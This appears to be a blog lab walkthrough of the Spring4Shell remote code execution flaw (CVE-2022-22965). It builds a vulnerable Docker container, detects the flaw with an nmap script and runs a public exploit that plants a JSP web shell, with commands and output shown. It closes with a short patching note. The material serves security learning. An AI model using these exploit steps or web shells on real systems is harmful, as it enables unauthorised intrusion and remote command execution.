As described by the Mitre CVE Database – A Spring MVC or Spring WebFlux application running on Java 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. Spring4Shell has affected a wide variety of vendors products including Cisco, VMware, Fortinet etc.

OK so lets get to labbing this one!
Disclaimer – never test on a production network. Always have permission. The following method is for a LAB environment only.

Prerequisites:
You will need a Linux VM capable of running Docker. Im using Ubuntu 20.x. Host IP for this example is 10.1.1.1/24
A secondary host to run the nmap scan (can be any OS as long as it supports nmap and the scripting engine). IP for my nmap host is 10.1.1.10/24

Method
1. Install docker on your Ubuntu VM and run the Spring4Shell container pre made by reznok on Github:
sudo apt install docker.io
sudo docker build . -t spring4shell && sudo docker run -p 8080:8080 spring4shell

App will now be available at http://10.1.1.1:8080/helloworld/greeting

2. Clone the Spring4Shell NSE from gpiechnik2 on Github
Save it to your scanning host. In this example I used Windows. Run it against the target to confirm the vulnerability:
Spring4Shell>nmap -v -sS --script=spring4shell.nse 10.1.1.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-13 23:08 W. Australia Standard Time
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Scanning 10.1.1.1 [1 port] Initiating SYN Stealth Scan at 23:08
Scanning 10.1.1.1 [1000 ports] Discovered open port 8080/tcp on 10.1.1.1
Discovered open port 22/tcp on 10.1.1.1
Completed SYN Stealth Scan at 23:08, 0.07s elapsed (1000 total ports)
NSE: Script scanning 10.1.1.1
Initiating NSE at 23:08
Completed NSE at 23:08, 4.13s elapsed
Nmap scan report for 10.1.1.1
Host is up (0.00036s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
| spring4shell:
| VULNERABLE:
| Spring4Shell - Spring Framework RCE via Data Binding on JDK 9+
| State: VULNERABLE
| IDs: CVE:CVE-2022-22965
| Check results:
| 10.1.1.1:8080/shell.jsp?pwd=j&cmd=id
| Extra information:
| TESTED URL: 10.1.1.1:8080
| PATH:
| COMMAND: id
| ASSERTION: uid
| References:
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
MAC Address: 00:0C:29:5C:08:93 (VMware)

OK confirmed the host is vulnerable. Lets move on to the exploit.

3. Save the exploit.py to your scanning host and execute with python (you may need to install python3 and pip the requests module):
C:\Spring4Shell>python .\exploit.py --url http://10.1.1.1:8080/helloworld/greeting --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://10.1.1.1:8080/shell.jsp?cmd=id

4. Test the webshell in a browser. Use unicode for spaces (%20) etc:
Spring4Shell 1
Spring4Shell 2
Profit.

Mitigation
Patch!
Check the notes on the Spring Framework website here.
Spring4Shell was patched quickly due to the RCE nature of the vulnerability. Vendors that use the Spring Framework have released their own patches.